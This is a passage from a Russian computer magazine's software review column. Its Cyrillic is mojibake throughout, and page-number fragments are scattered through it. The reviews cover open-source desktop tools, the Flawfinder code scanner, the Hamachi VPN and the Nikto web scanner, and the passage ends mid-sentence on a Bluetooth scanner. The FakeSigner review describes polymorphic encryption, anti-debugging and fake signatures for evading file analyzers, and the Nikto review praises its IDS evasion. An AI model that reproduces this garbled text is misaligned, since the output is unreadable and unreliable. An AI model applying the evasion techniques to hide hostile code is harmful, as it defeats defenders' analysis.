ñâîäíèêà è ðåäàêòîðà â îäíîì ëèöå.



CSSED 0.3.0
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.gz): 872 Êá.
http://cssed.sourceforge.net
Ëèöåíçèÿ: GNU GPL

Íåáîëüøîé ïî ðàçìåðó, îñíîâàí-
íûé íà GTK+2 ðåäàêòîð, çàòî÷åí-
íûé äëÿ ðåäàêòèðîâàíèÿ CSS. Îñ-
íàùåí «òàáîâûì» èíòåðôåéñîì,
ôóíêöèåé ñâåðòûâàíèÿ (ôîëäèí-
ãà) òåêñòà, ïîäñâåòêîé ñèíòàêñè-
ñà, àâòîìàòè÷åñêèì çàâåðøåíè-
åì. Ìíîãèå èç ýòèõ âîçìîæíîñòåé
ïðåäîñòàâëÿþòñÿ äâèæêîì òåêñ-
òîâîãî ðåäàêòîðà Scintilla, êîòî-
ðûé òîæå íåîáõîäèì äëÿ ðàáîòû
ïðîãðàììû.
Â ïðàâîé ÷àñòè ãëàâíîãî îêíà íà-
õîäèòñÿ èåðàðõè÷íîå äåðåâî ýëå-
ìåíòîâ CSS, èç êîòîðîãî ìîæíî

âñòàâëÿòü ýòè ýëåìåíòû è èõ çíà÷åíèÿ â òåêñò òåêóùåãî äîêóìåíòà. À âíè-
çó ãëàâíîãî îêíà åñòü òåêñòîâàÿ îáëàñòü, èìåíóåìàÿ Scratch Pad, � â íåå
ìîæíî êîïèðîâàòü ôðàãìåíòû òåêñòà. Ñîäåðæèìîå Scratch Pad ïðè âûõîäå
èç ïðîãðàììû íå ñîõðàíÿåòñÿ.
Â CSSED âñòðîåíî ñðåäñòâî äëÿ ïðîâåðêè êîäà íà ïðàâèëüíîñòü. Ïîñëå
ïðîâåðêè CSSED íàãëÿäíî ïîêàçûâàåò îøèáî÷íûå ìåñòà. CSSED ïîä-
äåðæèâàåò ïëàãèíû. Ïëàãèíû â äèñòðèáóòèâ íå âõîäÿò, èõ ìîæíî ñêà-
÷àòü îòäåëüíî ñ ñàéòà ïðîäóêòà.
Ïîäâåäó èòîã. Óäîáíàÿ óòèëèòà äëÿ âåá-ðàçðàáîò÷èêîâ, äëÿ òåõ, êòî çíàêîì
ñ CSS, íî ëåíèòñÿ ñìîòðåòü â åãî ñïåöèôèêàöèþ êàæäûé ðàç, êîãäà çàáûë
íóæíóþ äåòàëü.

Flawfinder 1.26
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.gz): 127 Êá.
http://www.dwheeler.com/flawfinder/
Ëèöåíçèÿ: GNU GPL

Flawfinder � êîíñîëüíàÿ óòèëèòà, êîòîðàÿ ñêàíèðóåò èñõîäíûé êîä (C/C++)
íà ïðåäìåò ñëàáûõ ìåñò â îáëàñòè áåçîïàñíîñòè. ×òîáû íàòðàâèòü óòèëè-
òó íà èñõîäíèêè, äîñòàòî÷íî äàòü â êàòàëîãå ñ íèìè êîìàíäó âðîäå:
flawfinder *.c
Â ïðîöåññå ðàáîòû Flawfinder âûâîäèò ñïèñîê «òîíêèõ», ñ åãî òî÷êè çðåíèÿ,
ìåñò, ïðè÷åì â êàæäîì ñëó÷àå îí ïîêàçûâàåò ñòåïåíü ðèñêà, âûðàæåííóþ
çàêëþ÷åííûì â êâàäðàòíûå ñêîáêè ÷èñëîì îò íóëÿ äî ïÿòè. Ïÿòü � íàèõóä-
øèé ðåçóëüòàò, à íîëü � ëó÷øèé, íî âñå ðàâíî ñòîèò çàäóìàòüñÿ.
×òîáû Flawfinder íå ðóãàëñÿ íà îïðåäåëåííûå ñòðîêè êîäà, ðÿäîì ñ íèìè â
òîé æå ñòðîêå íàäî ïîìåñòèòü êîììåíòàðèé âèäà:
// Flawfinder: ignore
ëèáî:
/* Flawfinder: ignore */
Âûâåñòè ðåçóëüòàòû ðàáîòû Flawfinder â HTML-ôàéë ìîæíî êîìàíäîé:
flawfinder --quiet --html --context ïðîâåðÿåìûé_êàòàëîã > ðåçóëüòàò.html
×òî äî ðåçóëüòàòîâ, òî Flawfinder ïèøåò äîñòàòî÷íî ïîäðîáíî, â ÷åì çàê-
ëþ÷àåòñÿ ïðîáëåìà ó÷àñòêà êîäà, ê ÷åìó òàêîå ïîëîæåíèå âåùåé ìîæåò
ïðèâåñòè è ò.ä. Íà àíãëèéñêîì, ðàçóìååòñÿ.

KRename 3.0.9
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.gz): 707 Êá.
http://www.krename.net
Ëèöåíçèÿ: GNU GPL

Çàòî÷åííàÿ ïîä KDE óòèëèòà
äëÿ ìàññîâîãî ïåðåèìåíîâàíèÿ
ôàéëîâ. Ïîääåðæèâàåò ôîðìè-
ðîâàíèå èìåí ôàéëîâ ïî çàäàí-
íîìó ïîëüçîâàòåëåì øàáëîíó.
Ïîìèìî âñòðîåííûõ ôóíêöèé,
îñíàùåíà äîïîëíèòåëüíûìè
ìîäóëÿìè, ñ ïîìîùüþ êîòîðûõ
ìîæíî, íàïðèìåð, ïåðåâîäèòü
èìåíà ôàéëîâ èç îäíîé êîäè-

ðîâêè â äðóãóþ, óñòàíàâëèâàòü, ïîëó÷åííûå â ðåçóëüòàòå ïåðåèìåíîâà-
íèÿ ôàéëîâ, ðàçëè÷íûå àòðèáóòû (ïðàâà äîñòóïà, äàòó è âðåìÿ), âûïîë-
íÿòü íåêóþ êîìàíäó äëÿ êàæäîãî ôàéëà ïîñëå ïåðåèìåíîâàíèÿ. Èíòåð-
ôåéñ KRename ðàáîòàåò â äâóõ ðåæèìàõ. Â ïåðâîì, äëÿ íà÷èíàþùèõ
ïîëüçîâàòåëåé, KRename ïðåäîñòàâëÿåò ïîøàãîâûå ìàñòåðà-âèçàðäû.
Â îáû÷íîì æå ðåæèìå KRename ðàáîòàåò, êàê îêíî ñ òàáàìè-âêëàäêà-
ìè. Òåêóùèå íàñòðîéêè ìîæíî ñîõðàíÿòü â âèäå ïðîôèëåé äëÿ ïîñëåäó-
þùåé èõ çàãðóçêè.

Hydrogen 0.9.2
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.gz): 2.7 Ìá
http://www.hydrogen-music.org
Ëèöåíçèÿ: GNU GPL

Ïðîãðàììíàÿ äðàì-ìàøèíà. «Æåëåçíûå» àíàëîãè òàêîé ñòîÿò ïî íåñêîëü-
êî ñîòåí äîëëàðîâ. Êàê è êîììåð÷åñêèå, ñîôòâàðíûå àíàëîãè Hydrogen
äëÿ ñèñòåì Windows è Mac OS X. À òóò � ñâîáîäíîå ÏÎ. Áåðè è ïîëüçóé-
ñÿ. Äëÿ ðàáîòû Hydrogen íóæíà áèáëèîòåêà Qt. Òðåòüÿ åå âåðñèÿ  äëÿ ñòàáèëü-
íîé âåòêè Hydrogen, à ÷åòâåðòàÿ äëÿ íåñòàáèëüíîé.
Êàê óñòðîåíà ýòà ïðîãðàììíàÿ óäàðíàÿ óñòàíîâêà? Åñòü íàáîðû
óäàðíûõ, ãäå êàæäûé çâóê îáû÷íî â ôîðìàòå Flac. Åñòü ïàòòåðíû
� ðèòìè÷åñêèå ðèñóíêè, èç êîòîðûõ ñîñòàâëÿåòñÿ êîìïîçèöèÿ. Â
íàëè÷èè èìååòñÿ òàêæå ðåäàêòîð èíñòðóìåíòîâ è óäîáíûé ìèê-
øåð. Ïîääåðæèâàåòñÿ âûâîä ÷åðåç çâóêîâûå ïîäñèñòåìû OSS,
ALSA è JACK. Ìîæíî óïðàâëÿòü äðàì-ìàøèíîé ïî ïðîòîêîëó MIDI.
Ýêñïîðò â MIDI, ðåíäåðèíã â WAV-ôàéë � ÷åãî åùå ìîæíî æå-
ëàòü? Òîëüêî íîâûõ âåðñèé. Äîïîëíèòåëüíûå íàáîðû óäàðíûõ
èíñòðóìåíòîâ ìîæíî ñêà÷àòü ñ ãëàâíîãî ñàéòà ïðîãðàììû.

[X
À

Ê
Å

Ð
1

2
 [

8
4

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

5
3

]

Petr Semiletov
www.roxton.kiev.ua

UNIXWARES



[X
À

Ê
Å

Ð
1

2
 [

8
4

] 
0

5
 >

 Þ
Í

È
Ò

Û
1

5
4

]

Kat 0.6.4
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.gz): 809 Êá.
http://kat.mandriva.com
Ëèöåíçèÿ: GNU GPL

Åùå äîâîëüíî ñûðîé, íî ðà-
áî÷èé ïîèñêîâèê âðîäå ãíîìü-
åãî Beagle èëè ëîêàëüíîãî ïî-
èñêîâèêà îò Google. Kat çàòî-
÷åí ïîä KDE. Ñîñòîèò èç äâóõ
÷àñòåé: èíäåêñèðóþùåãî äå-
ìîíà è êëèåíòà, êîòîðûé äå-
ëàåò çàïðîñû ê ïðîèíäåêñèðî-
âàííîé èíôîðìàöèè. Kat èí-
äåêñèðóåò êàðòèíêè, ìóçûêó,
òåêñòû. Ñàì èëè ñ ïîìîùüþ
äîïîëíèòåëüíûõ óòèëèò âûòÿ-

òèâàåò èç ôàéëîâ ìåòà-äàííûå, ïîýòîìó îñóùåñòâëÿòü ïîèñê ìîæíî íå òîëü-
êî ïî òåêñòó (âêëþ÷àÿ PDF, ODT è DOC) èëè ñðåäè èìåí ôàéëîâ, íî è â ìå-
òà-äàííûõ (íàïðèìåð, MP3-òýãàõ).
Äâèæîê Kat ðàáîòàåò õîðîøî, îäíàêî ãðàôè÷åñêèé èíòåðôåéñ ñ êàæäîé
íîâîé âåðñèåé ñòàíîâèòñÿ âñå áîëåå íåðàáîòîñïîñîáíûì. Íàäî ñêà-
çàòü, ÷òî â îïðîáîâàííîé ìíîþ ðàíåå âåðñèè 0.6.1 ðàáîòàëî áîëüøå
êíîïîê è ïóíêòîâ ìåíþ, íåæåëè â òåêóùåé âåðñèè 0.6.4.
Ñêîðîñòü èíäåêñèðîâàíèÿ ó Kat íåâåëèêà. Íà èíäåêñèðîâàíèå ôàéëîâ
íà æåñòêîì äèñêå îáúåìîì 200 Ãá ìîãóò óéòè ìåñÿöû. Ïîýòîìó Kat
óäîáíî «íàòðàâëèâàòü» íà îòäåëüíûå êàòàëîãè (íàïðèìåð, îïðåäåëåí-
íîãî ïîëüçîâàòåëÿ), ãäå ïîèñê äåéñòâèòåëüíî íåîáõîäèì.

Scribus 1.3.1
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.bz2): 8.43 Ìá.
http://www.scribus.org.uk
Ëèöåíçèÿ: GNU GPL

Ìîùíåéøàÿ ïðîãðàì-
ìà äëÿ âåðñòêè, ëèíóê-
ñîâûé àíàëîã òàêèõ
êîììåð÷åñêèõ ïðîäóê-
òîâ, êàê Adobe InDesign
è Quark XPress. Ðóñè-
ôèöèðîâàíà Àëåêñàíä-
ðîì Ïðîêóäèíûì. Îñ-
íàùåíà ìîäóëåì ðóñ-
ñêèõ ïåðåíîñîâ. Îáëà-
äàåò âñåìè ôóíêöèÿìè
ïðîäóêòîâ äëÿ DTP
(Desktop Publishing),
âêëþ÷àÿ öâåòîäåëåíèå,

ïîääåðæêó ïðîôèëåé ICC. Ðàçóìååòñÿ, ðåàëèçîâàíà ïîääåðæêà CMYK.
Ôîðìàòû âûâîäà � PDF (äî 1.5 âêëþ÷èòåëüíî), EPS, SVG. Ôîðìàò äîêó-
ìåíòîâ Scribus îñíîâàí íà XML è íå èìïîðòèðóåòñÿ êîììåð÷åñêèìè ïðî-
äóêòàìè âåðñòêè, òàê æå êàê Scribus íå ïîääåðæèâàåò èìïîðò ôàéëîâ
InDesign è Quark XPress.
Çàòî ñðåäè èìïîðòèðóåìûõ â Scribus ôîðìàòîâ ìû íàõîäèì Photoshop
PSD, âïðî÷åì, áåç ïîääåðæêè ñëîåâûõ ýôôåêòîâ. Íî ýòî íåëüçÿ ñòàâèòü 
â óïðåê ðàçðàáîò÷èêàì ïî âïîëíå î÷åâèäíûì ïðè÷èíàì. Âåäü Scribus � 
íå ïðîäóêò îò Adobe. Çàòî ñ TIFF ó Scribus ïðîáëåì íå âîçíèêàåò.
Scribus îñíîâàí íà áèáëèîòåêå âèäæåòîâ Qt, à äëÿ öâåòîäåëåíèÿ èñ-
ïîëüçóåò áèáëèîòåêó LittleCMS. Îáùèå âïå÷àòëåíèÿ îò ïðîäóêòà áîëåå
÷åì ïîëîæèòåëüíûå: ñòàáèëüíîñòü, îòëè÷íûé íàáîð ôóíêöèé âåðñòêè,
óäîáíûé èíòåðôåéñ.

Bluefish 1.0
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (â tar.bz2): 1.4 Ìá
http://bluefish.openoffice.nl
Ëèöåíçèÿ: GNU GPL

Ðåäàêòîð HTML-êîäà, ñîçäàííûé íà îñíîâå áèáëèîòåêè GTK+2. Èíòåð-
ôåéñ åãî ñîñòîèò èç «òàáîâîãî» äâèæêà, ôàéëîâîé ïàíåëè, ïàíåëè èíñòðó-
ìåíòîâ ñ ðÿäîì âêëàäîê è åùå îäíîãî, êðîìå ãëàâíîãî, ìåíþ � ìåíþ ñî
ñíèïïåòàìè (êîðîòêèìè ôðàãìåíòàìè ÷àñòî èñïîëüçóåìîãî êîäà). 

Â Bluefish åñòü äèíàìè÷åñêàÿ ïîäñâåòêà ñèíòàêñèñà.
Ñðåäè èíòåðåñíûõ ôóíêöèé ðåäàêòîðà � âåäåíèå ïðîåêòîâ, êîòîðûå âêëþ-
÷àþò â ñåáÿ ãðóïïû ôàéëîâ. Åñòü âñòðîåííàÿ ïðîâåðêà ïðàâîïèñàíèÿ. Íàñò-
ðîéêà «ãîðÿ÷èõ» êëàâèø. Áëàãîäàðÿ áèáëèîòåêå GnomeVFS ìîæíî îòêðû-
âàòü äëÿ ðåäàêòèðîâàíèÿ ôàéëû íà óäàëåííîé ìàøèíå (ïî FTP). Åñòü íåêî-
òîðûé íàáîð ìàñòåðîâ-âèçàðäîâ, êîòîðûå áóäóò õîðîøèì ïîäñïîðüåì íî-
âè÷êàì â HTML/XHTML. Ìîæíî äîáàâëÿòü â ìåíþ âíåøíèå áðàóçåðû è äðó-
ãèå ïðîãðàììû � äëÿ âûçîâà ñ íèìè òåêóùåãî äîêóìåíòà íà îáðàáîòêó.
Ñðåäè âñòðîåííûõ ïðåñåòîâ � ÷èñòÿùèé ôèëüòð-êîíâåðòîð Tidy.
Â ëåâîé ïàíåëè, êðîìå ôàéëîâîãî ìåíåäæåðà, åñòü åùå äâå âêëàäêè. Ñ îä-
íîé äîñòóïíû â äðåâîâèäíîé ôîðìå êëþ÷åâûå ñëîâà è ñïðàâî÷íèêè, îòíî-
ñÿùèåñÿ ê HTML, PHP, CSS2 è Python. Îòòóäà æå, íàïðèìåð, ìîæíî âñòàâ-
ëÿòü â äîêóìåíò òýãè HTML.
Óäîáíûé âî âñåõ îòíîøåíèÿõ ðåäàêòîð, ñòîÿùèé â îäíîì ðÿäó ñ Quanta
Plus è TEA.

Muine 0.8.3
POSIX (*BSD, Linux, Solaris...)
Ðàçìåð (äëÿ tar.gz): 752 Êá.
http://muine.gooeylinux.org
Ëèöåíçèÿ: GNU GPL

Ýòîò ìóçûêàëüíûé ïëå-
åð äëÿ Gnome � ïðè-
ìåðíî òî æå, ÷òî ïëååð
amaroK â KDE. Òî åñòü
ïëååð, îðèåíòèðîâàí-
íûé íà êîëëåêöèè. Ðàç-
íèöà â èíòåðôåéñå è â
íàáîðå ôóíêöèé. Ïðîã-
ðàììû äëÿ GNOME áå-
ðóò êóðñ íà óïðîùåíèå,
ïîýòîìó Muine íàñòîëü-
êî ïðîñò, ÷òî äàæå ïîë-
çóíêà ïðîêðóòêè òåêó-
ùåé êîìïîçèöèè â íåì
íåò. Èëè ñëóøàåì åå îò
íà÷àëà äî êîíöà, èëè
âûáèðàåì äðóãóþ êîì-
ïîçèöèþ.

Muine ñîçäàí íà ïëàòôîðìå Mono, à â êà÷åñòâå çâóêîâîãî äâèæêà
èñïîëüçóåò Gstreamer. Ïîääåðæèâàåò ïëàãèíû, ìîæåò ñêà÷èâàòü èç
Ñåòè îáëîæêè ê òåì àëüáîìàì, êîòîðûå íàõîäÿòñÿ â êîëëåêöèè. Óìå-
åò ÷èòàòü èçîáðàæåíèÿ, âíåäðåííûå â òýãè ôîðìàòà ID3v2.
Êîëëåêöèÿ â Muine òîëüêî îäíà. Îíà ñîñòîèò èç îäíèõ ëèøü íàçâàíèé
àëüáîìîâ. Â îòëè÷èå îò amaroK, ãäå âñå óäîáíî ðàçáèòî íà êîëëåêöèè
èñïîëíèòåëåé, â ñâîþ î÷åðåäü ñîñòîÿùèå èç êîëëåêöèé àëüáîìîâ.
Ïðè âîñïðîèçâåäåíèè àëüáîìà ïîÿâëÿåòñÿ ñïèñîê âêëþ÷åííûõ â íåãî
êîìïîçèöèé. Äåëàòü ÷òî-ëèáî èíîå, êðîìå ïåðåêëþ÷åíèÿ ìåæäó íèìè 
ñ öåëüþ âîñïðîèçâåäåíèÿ, íåëüçÿ. Íè ñâîéñòâà ïîñìîòðåòü, íè ÷òî-íè-
áóäü åùå. Ñîâåðøåííî ñïàðòàíñêèé èíòåðôåéñ.
Èòîã. Ïëååð õîðîø äëÿ ÷àéíèêîâ. Åñëè òåáå íóæíî óñòàíîâèòü â êà-
êîì-íèáóäü Linux/GNOME-îðèåíòèðîâàííîì îôèñå ìóçûêàëüíûé
ïëååð, òî òðóäíî îòûñêàòü ëó÷øåå ðåøåíèå, ÷åì Muine. Îêíî ñ íàç-
âàíèÿìè àëüáîìîâ ïðåäóñìîòðèòåëüíî îñíàùåíî ïîèñêîâîé ñòðîêîé,
òàê ÷òî îïàñàòüñÿ ÷åðåñ÷óð äëèííîãî ñïèñêà íåò ïðè÷èí � âñå ðàâíî
ìîæíî áûñòðî íàéòè íåîáõîäèìîå.



DotFix FakeSigner v3.2
Windows
Freeware
Size: 1.5 Ìá
http://fakesigner.dotfix.net

Åñëè òû âíèìàòåëüíî ÷è-
òàåøü ðàçäåë «Âçëîì», òî
äëÿ òåáÿ íå áóäåò îòêðî-
âåíèåì, ÷òî áîëüøèíñòâî
ïðèëîæåíèé ëåãêî ïîääà-
þòñÿ âçëîìó. Îáû÷íî ðàç-
ðàáîò÷èêè íå èñïîëüçóþò
êàêóþ-ëèáî çàùèòó, à åñ-
ëè äàæå è èñïîëüçóþò, òî
îáû÷íî ðàñïðîñòðàíåí-
íóþ, êîòîðàÿ òàêæå íå äà-

åò æåëàííîãî ðåçóëüòàòà. Âîò ïî÷åìó íàäî èñïîëüçîâàòü äîâîëüíî ðåä-
êèå, íî ïðîäóìàííûå ñèñòåìû çàùèòû, ïîäõîä ê êîòîðûì ïîêà åùå íå
èçó÷åí, à ïðèìåíÿåìûå ìåòîäû äîñòàòî÷íî ýôôåêòèâíû. Îäíà èç òàêèõ
ñèñòåì � DotFix FakeSigner. Òóëçà ïî îñîáîìó àëãîðèòìó îáðàáàòûâàåò
èñïîëíÿåìûé ôàéë ïðîãðàììû è øèôðóåò åå ñåêöèþ êîäà, ïðè ýòîì
÷àñòü äàííûõ ñ òî÷êè âõîäà ïåðåíîñèòñÿ â êîä ñàìîé çàùèòû. Âñå ýòî
íåïðåðûâíî ïðîãîíÿåòñÿ ÷åðåç ìåòàìîðô-äâèæîê, ïîýòîìó êîä äåêðèï-
òîâùèêà è çàùèòû â öåëîì ïîëó÷àåòñÿ ïîëíîñòüþ ïîëèìîðôíûì. Èíà÷å
ãîâîðÿ, åñëè îäíó è òó æå ïðîãðàììó äâàæäû çàùèòèòü ñ ïîìîùüþ DotFix
FakeSigner, à ïîòîì ñðàâíèòü ðåçóëüòàò , òî 2 çàùèùåííûõ EXE-ôàéëà
áóäóò ñèëüíî ðàçëè÷àòüñÿ. Ïðè÷åì ýòî äîñòèãàåòñÿ íå òîëüêî çà ñ÷åò ïî-
ëèìîðôíîãî äâèæêà, íî è ãåíåðàòîðà ìóñîðíûõ öèêëîâ è èíñòðóêöèé, êî-
òîðûå åùå ñèëüíåå ñîáüþò ñ òîëêó âçëîìùèêà.
Â DotFix FakeSigner òàêæå ïðèñóòñòâóþò àëãîðèòìû àíòèòðàññèðîâêè,
ïðèâîäÿùèå ê çàâèñàíèþ ïðîãðàììû ïðè ïîïûòêå åå îòëàäêè. Ñòîèò äî-
áàâèòü, ÷òî àâòîìàòè÷åñêèõ ñðåäñòâ äëÿ ñíÿòèÿ ýòîé çàùèòû íå ñóùåñò-
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âóåò, òàê æå êàê è äëÿ îïðåäåëåíèÿ òîãî, ÷òî èñïîëíÿåìûé ôàéë áûë åþ
îáðàáîòàí. Â EXE�øíèê âñòðàèâàåòñÿ îäíà èç ïîäëîæíûõ ñèãíàòóð, âûá-
ðàííàÿ ïîëüçîâàòåëåì, êîòîðàÿ â äàëüíåéøåì èñïîëüçóåòñÿ äëÿ îáìàíà
ôàéëîâûõ àíàëèçàòîðîâ òèïà PEiD. Generic-ðàñïàêîâùèêè òàêæå ïîéäóò
ëåñîì èç-çà ôóíêöèè àíòèòðàññèðîâêè è òåõíîëîãèè «ñïåðòûõ áàéò».
Òàê ÷òî ìîðàëü ñåé áàñíè òàêîâà: ïåðåä ðåëèçîì ñâîåé ïðîãðàììû íå
çàáóäü åå ïðîãíàòü ÷åðåç DotFix FakeSigner'îì. Òåì áîëåå, ÷òî ïðîãðàì-
ìà íàïèñàíà îäíèì èç íàøèõ àâòîðîâ.

Hamachi 0.9.9.9
Êðîññ-ïëàòôîðìåííàÿ
Freeware
Size: 632 Êá (Windows), 316 Êá (Linux)
www.hamachi.cc

Óíèêàëüíàÿ óòèëèòà, ïîçâîëÿþùàÿ ëåãêî è íåïðèíóæäåííî ñîçäàâàòü
âèðòóàëüíûå ÷àñòíûå ñåòè ñ íåïðåðûâíûì øèôðîâàíèåì òðàôèêà. 
Â ÷åì çàêëþ÷àåòñÿ åå óíèêàëüíîñòü? Â ïðîñòîòå íàñòðîéêè, êîòîðóþ
ïîëíîñòüþ áåðåò íà ñåáÿ óïðàâëÿþùèé ñåðâåð. Äëÿ ñîçäàíèÿ çàêðèïòî-
âàííîãî êàíàëà ïîëüçîâàòåëè ñíà÷àëà ïîäêëþ÷àþòñÿ èìåííî ê íåìó, ïî-
ëó÷àþò íåîáõîäèìûå äëÿ ñîåäèíåíèÿ èíñòðóêöèè è òîëüêî ïîñëå ýòîãî
óñòàíàâëèâàþò êîííåêò ìåæäó ñîáîé. Ïîñëå òîãî êàê ñâÿçü íàëàæåíà,
äàëüíåéøåå ïîñðåäíè÷åñòâî ñåðâåðà èñêëþ÷àåòñÿ, ïîýòîìó òðàôèê íå
ïåðåäàåòñÿ èñêëþ÷èòåëüíî ìåæäó ïîëüçîâàòåëÿìè.
Íà ïðàêòèêå òàêîé ïîäõîä âûãëÿäèò åùå ïðîùå. Ïîñëå óñòàíîâêè
Hamachi â ñèñòåìå ïîÿâëÿåòñÿ âèðòóàëüíûé ñåòåâîé àäàïòåð. À ñàìà
ïðîãðàììà ðåàëèçîâàíà â âèäå ñèìïàòè÷íîãî îêíà, âî ìíîãîì íàïîìè-
íàþùåãî ñîâðåìåííûé ìåññåíäæåð. Ïîñëå ðåãèñòðàöèè íà ñåðâåðå, äëÿ
êîòîðîé ïîòðåáóåòñÿ íå áîëåå ìèíóòû, òåáå áóäåò âûäàí óíèêàëüíûé
âíóòðåííèé IP (ê ïðèìåðó, 5.0.0.53), à òàêæå ñïåöèàëüíûé èäåíòèôèêà-
òîð, ïî êîòîðîìó äðóãèå ïîëüçîâàòåëè ìîãóò òåáÿ ðàñïîçíàòü. Äàëåå òû
ìîæåøü ïîäêëþ÷àòüñÿ ê ðàçëè÷íûì êàíàëàì (èëè ñîçäàâàòü ñâîè
ñîáñòâåííûå) è ñ èõ ïîìîùüþ áåçîïàñíî ðàáîòàòü ñ äðóãèìè êëèåíòàìè.
Íåâàæíî, êàêîé èìåííî ñîôò áóäåò èñïîëüçîâàòüñÿ (èãðû, ÷àòû, ôàéëî-
îáìåííèêè è ò.ï.), à òàê êàê Hamachi âñå ðàâíî óñòàíîâèò äëÿ íèõ ïðÿ-
ìîå ñîåäèíåíèå è íåïðåðûâíîå êîäèðîâàíèå äàííûõ. Ïðèÿòíûé ìîìåíò
çàêëþ÷àåòñÿ â òîì, ÷òî ðàáîòå ýòîé ñèñòåìû íå ìåøàþò íè NAT'û, íè
áðàíäìàóýðû, íè êàïðèçû ñèñòåìíîãî àäìèíèñòðàòîðà. Âåðñèè êëèåíòà
ñóùåñòâóþò íå òîëüêî ïîä âèíäû (íà ìíîãèõ ÿçûêàõ, âêëþ÷àÿ, ðóññêèé),
íî è Linux, ÷òî âäâîéíå ïðèÿòíî.
Ïàðó ñëîâ î áåçîïàñíîñòè. Âî âðåìÿ ðåãèñòðàöèè êëèåíò ãåíåðèðóåò ïà-
ðó RSA-êëþ÷åé (îäèí � ïóáëè÷íûé, äðóãîé � ñêðûòûé), êîòîðûå ïðèìå-
íÿþòñÿ äëÿ àâòîðèçàöèè íà ñåðâåðå. Ñîáñòâåííî øèôðîâàíèå äàííûõ
îñíîâûâàåòñÿ íà àëãîðèòìàõ, ïðèìåíÿåìûõ â IPSEC è SSL, êîòîðûå äàâ-
íî çàñëóæèëè äîâåðèå. Âàæíî çàìåòèòü, ÷òî ñèñòåìà íàõîäèòñÿ â ïîñòî-
ÿííîì ðàçâèòèè è ñîâåðøåíñòâîâàíèè. Åñëè áåòà-òåñòåðû íàõîäÿò êà-
êîé-ëèáî áàã, ðàçðàáîò÷èêè ìîìåíòàëüíî èñïðàâëÿþò åãî, à êëèåíòû àâ-
òîìàòè÷åñêè ïîëó÷àþò íåîáõîäèìûå îáíîâëåíèÿ.

Nikto 1.35
Êðîññ-ïëàòôîðìåííàÿ
Freeware
Size: 189 Êá
www.cirt.net/code/nikto.shtml
Ðàçðàáîò÷èêè ïðîãðàììû ñëóêàâèëè, îáîçâàâ ýòîò ñêàíåð âåá-óÿçâè-
ìîñòåé îáèäíûì ñëîâîì «íèêòî». Ýòî î÷åíü ìîùíûé èíñòðóìåíò, ñïî-
ñîáíûé ýôôåêòèâíî ñêàíèðîâàòü óäàëåííûå õîñòû è ïðîâîäèòü ñëîæ-
íûå òåñòû áåçîïàñíîñòè. Â áàçå ïðîãðàììû èìååòñÿ èíôîðìàöèÿ î áî-
ëåå ÷åì 3200 óÿçâèìûõ âåá-ñöåíàðèåâ, à òàêæå 625 web-äåìîíîâ. Èíôà
îá óÿçâèìîñòÿõ îôîðìëÿåòñÿ â âèäå ñïåöèàëüíûõ ïëàãèíîâ, ÷òî ïîçâî-

ëÿåò ðàñøèðÿòü áàçó ïðîãðàììû áåç àïäåéòà ñàìîãî ïðèëîæåíèÿ. 
Ñêàæó áîëüøå: Nikto ïîääåðæèâàåò àâòîìàòè÷åñêèå îáíîâëåíèÿ, ïîýòî-
ìó çà íîâûìè ïëàãèíàìè äàæå íå ïðèäåòñÿ âðó÷íóþ «çàëåçàòü» â Ñåòü.
Àíòè-IDS ìåòîäû � ýòî åùå îäíà ôåíüêà Nikto. Îïûòíûå àäìèíèñòðàòî-
ðû íåðåäêî óñòàíàâëèâàþò ñèñòåìû îáíàðóæåíèÿ âòîðæåíèÿ è òàêèì
îáðàçîì îáëàìûâàþò ðàçíîãî ðîäà ñêàíèðîâàíèÿ. Â îòëè÷èå îò äðóãèõ
ñêàíåðîâ, èñïîëüçóþùèõ Perl-áèáëèîòåêó Libwhisker, â Nikto íå îïðåäå-
ëÿåòñÿ IDS-ñèñòåìà. Â ÿäðå ïðîãðàììû çàëîæåíû ðàçëè÷íûå stealth-ìå-
òîäû, ïîçâîëÿþùèå çàìàñêèðîâàòü ñâîþ ðàáîòó ïîä îáû÷íûå ïîëüçîâà-
òåëüñêèå çàïðîñû.
Åñëè âîçìîæíî, òî Nikto ñàìîñòîÿòåëüíî îïðåäåëèò äèðåêòîðèþ ñ CGI-
ñêðèïòàìè è ïðîâåðèò åå íà íàëè÷èå áàæíûõ ñöåíàðèåâ. Ïîëíîöåííàÿ
ïîääåðæêà ïðîêñè (ñ âîçìîæíîñòüþ àâòîðèçàöèè), à òàêæå SSL-ñîåäè-
íåíèÿ ïðè ïðàâèëüíîì ïîäõîäå ãàðàíòèðóþò òâîþ áåçîïàñíîñòü. Ñêëà-
äûâàåòñÿ âïå÷àòëåíèå, ÷òî ðàçðàáîò÷èêè Nikto ïðåäóñìîòðåëè àáñîëþò-
íî âñå. Òàê, åñëè âåá-ñàéò òðåáóåò àâòîðèçàöèþ, Nikto ëåãêî ñìîæåò
ïðîéòè åå (åñòåñòâåííî, çíàÿ êîððåêòíûå èìÿ ïîëüçîâàòåëÿ è ïàðîëü).
Åñëè âåá-ñåðâåð íå íàéäåí íà ñòàíäàðòíîì 80 ïîðòó, Nikto ïîïðîáóåò
íàéòè åãî íà ëþáîì äðóãîì. Ïðè ýòîì äëÿ óâåëè÷åíèÿ ñêîðîñòè ðàáîòû
ïîääåðæèâàåòñÿ èíòåãðàöèÿ ñ nmap'îì. Âñå ýòè è åùå äâà äåñÿòêà ôóíê-
öèé äåéñòâèòåëüíî âïå÷àòëÿþò. Åäèíñòâåííûé íþàíñ: äëÿ ïîëíîöåííîé
ðàáîòû Nikto òðåáóåòñÿ ñâåæàÿ âåðñèÿ Perl'à, ìîäóëè NET::SSLeay,
LibWhisker, à òàêæå OpenSSL (â ñëó÷àå âèíäû � ìîäóëü Net::SSL), åñëè
òðåáóåòñÿ ïîääåðæêà SSL-ñîåäèíåíèé.

AirMagnet BlueSweep
Windows
Freeware
Size: 5.89 Ìá
http://www.airmagnet.com/products/bluesweep.htm

Ïðîäîëæàåì òåìó àòàêè íà Bluetooth-óñòðîéñòâà. Ñåãîäíÿ ÿ õî÷ó ïðåäñ-
òàâèòü òåáå îòëè÷íûé Bluetooth-ñêàíåð AirMagnet BlueSweep. Íóæåí îí
